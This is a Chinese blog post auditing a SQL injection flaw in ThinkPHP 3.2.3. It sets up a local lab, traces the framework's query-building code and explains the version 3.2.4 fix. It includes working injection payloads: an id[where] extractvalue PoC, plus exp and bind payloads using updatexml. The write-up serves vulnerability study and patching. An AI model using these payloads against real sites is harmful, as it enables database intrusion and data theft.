[PHP代码审计]TP3漏洞--Sql注入分析


必看知识:ThinkPHP3.2.3完全开发手册Thinkphp3.2.3安全开发须知Thinkphp 源码阅读thinkphp3.2框架中大写字母函数总结

[TOC]

环境搭建

composer create-project topthink/thinkphp=3.2.3 tp3

CREATE TABLE `users` (
  `id` int(11) NOT NULL,
  `username` varchar(255) DEFAULT NULL,
  `password` varchar(255) DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
INSERT INTO `users` (`id`, `username`, `password`) VALUES ('1', 'admin', 'admin');
INSERT INTO `users` (`id`, `username`, `password`) VALUES ('2', 'yq1ng', 'yq1ng');

配置数据库:ThinkPHP/Conf/convention.php

/* 数据库设置 */
    'DB_TYPE'                => 'mysql', // 数据库类型
    'DB_HOST'                => '127.0.0.1', // 服务器地址
    'DB_NAME'                => 'thinkphp', // 数据库名
    'DB_USER'                => 'root', // 用户名
    'DB_PWD'                 => 'root', // 密码
    'DB_PORT'                => '3306', // 端口

访问首页自动生成目录结构

where 注入 (一)

漏洞概述

由于 ThinkPHP\Library\Think\Model.class.php 中对用户输入过于信任直接解析了传入的值且正则过滤书写失误导致sql注入

影响版本:thinkphp v3.2.3

漏洞利用

POC:http://127.0.0.1/PHPSec/tp3/index.php?id[where]=1 and extractvalue(0x0a,concat(0x0a,(select database())))

image-20210806165309966

漏洞分析

测试版本:3.2.3

3.2.4 的 releases 说明及其 commit (大同小异,仅列出一个,太长了。。)

$options['where'] 改为 $this->options['where'] 进行区分,同时分析表达式不在传入参数

image-20210810140240069

image-20210810141310370

自定义控制器

public function index()
    {
        $data = M('users')->find(I('GET.id'));
        var_dump($data);
    }

打上断点,访问:http://127.0.0.1/PHPSec/tp3/index.php?id=1',命中后将 M() 跳过,跟踪 I(),会使用 htmlspecialchars() 对传入数据进行转义,但是它并不对 单引号 感冒,所以无所谓

image-20210810102942612

如果传入的数组还会对其进行关键字过滤,但是这过滤有用吗?正则开始有个 ^ 表示字符串以这些危险字符串开头的才能被匹配到,也是无用

image-20210810103100673

function think_filter(&$value)
{
    // TODO 其他安全过滤

    // 过滤查询特殊字符
    if (preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
        $value .= ' ';
    }
}

然后返回到 find(),这里也到了 commit 修改处,这里修改了 options,接着往下看

image-20210810103412799

_parseOptions()$options 进行解析,进去看看

image-20210810103916260

这个 _parseType() 也对 $options['where'] 进行解析,跟进

image-20210810104303644

这个函数主要是转换,如果数据库定义 idint 的话后面再写什么语句都没用了,直接吃了。。。所以我把 id 暂时改成了 varcharimage-20210810105307349

到这里 _parseOptions() 的事情也就结束了,它做了一些事情,又似乎没做。。。

回到 find() ,跟进断点处,这句是生成 sql &查询的

image-20210810105818668

跟进 buildSelectSql()parseSql()

image-20210810110405371

parseSql() 有点长,截图截不完,粘进来了,我们传进来的值一直在 where 里面,这里跟进 parseWhere() 一探究竟

public function parseSql($sql, $options = array())
    {
        $sql = str_replace(
            array('%TABLE%', '%DISTINCT%', '%FIELD%', '%JOIN%', '%WHERE%', '%GROUP%', '%HAVING%', '%ORDER%', '%LIMIT%', '%UNION%', '%LOCK%', '%COMMENT%', '%FORCE%'),
            array(
                $this->parseTable($options['table']),
                $this->parseDistinct(isset($options['distinct']) ? $options['distinct'] : false),
                $this->parseField(!empty($options['field']) ? $options['field'] : '*'),
                $this->parseJoin(!empty($options['join']) ? $options['join'] : ''),
                $this->parseWhere(!empty($options['where']) ? $options['where'] : ''),
                $this->parseGroup(!empty($options['group']) ? $options['group'] : ''),
                $this->parseHaving(!empty($options['having']) ? $options['having'] : ''),
                $this->parseOrder(!empty($options['order']) ? $options['order'] : ''),
                $this->parseLimit(!empty($options['limit']) ? $options['limit'] : ''),
                $this->parseUnion(!empty($options['union']) ? $options['union'] : ''),
                $this->parseLock(isset($options['lock']) ? $options['lock'] : false),
                $this->parseComment(!empty($options['comment']) ? $options['comment'] : ''),
                $this->parseForce(!empty($options['force']) ? $options['force'] : ''),
            ), $sql);
        return $sql;
    }

parseWhere() 又调用了 parseWhereItem(),跟进

image-20210810111123406

接着跟 parseValue()

image-20210810111201047

protected function parseValue($value)
   {
       if (is_string($value)) {
           $value = strpos($value, ':') === 0 && in_array($value, array_keys($this->bind)) ? $this->escapeString($value) : '\'' . $this->escapeString($value) . '\'';
       } elseif (isset($value[0]) && is_string($value[0]) && strtolower($value[0]) == 'exp') {
           $value = $this->escapeString($value[1]);
       } elseif (is_array($value)) {
           $value = array_map(array($this, 'parseValue'), $value);
       } elseif (is_bool($value)) {
           $value = $value ? '1' : '0';
       } elseif (is_null($value)) {
           $value = 'null';
       }
       return $value;
   }

进入 if 后的第一行对其进行了转义,跟进 escapeString(),使用了 addslashes()

public function escapeString($str)
    {
        return addslashes($str);
    }

image-20210810111505736

至此,可以发现常规注入没法注,即便 idint 型的(如果是 int 的话会进行 intval() 转换,没法利用了)

理一下思路:

  1. id(int) :payload -> I() -> find() -> _parseOptions() -> _parseType();在 _parseType() 中将注入语句转换为数字,无法注入
  2. id(varchar) :payload -> I() -> find() ->buildSelectSql() -> parseSql() -> parseWhere() -> parseWhereItem() -> parseValue() -> escapeString() -> addslashes();将单双引号转义,反斜杠也转义了,因此不能逃逸,无法注入

再去看 POC :?id[where]=1 and extractvalue(0x0a,concat(0x0a,(select database()))),用数组的话会跳过 _parseType() ,这里简单传入 ?id[where]=1 测试

image-20210810135648109

后面的 parseWhere() 会进入 if 也就相当于跳过此函数

image-20210810135842510

原因很简单,相当于直接指定了 $options['where']find() 不会再对其赋值,造成可控

image-20210810140112273

漏洞修复

分析表达式 $options = $this->_parseOptions(); 不在传入参数,不可控了,即使传入 ?id[where]=1 sql 语句 也不会再有 where,只是 SELECT * FROM `users` LIMIT 1

exp & bind 注入

这个也很简单,就不写了,看看 Y4er 大佬的文章吧 Thinkphp3 漏洞总结

exp POC:?username[0]=exp&username[1]==1 and updatexml(1,concat(0x7e,user(),0x7e),1)

bind POC:?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&password=1


文章作者: yq1ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yq1ng !
评论
  目录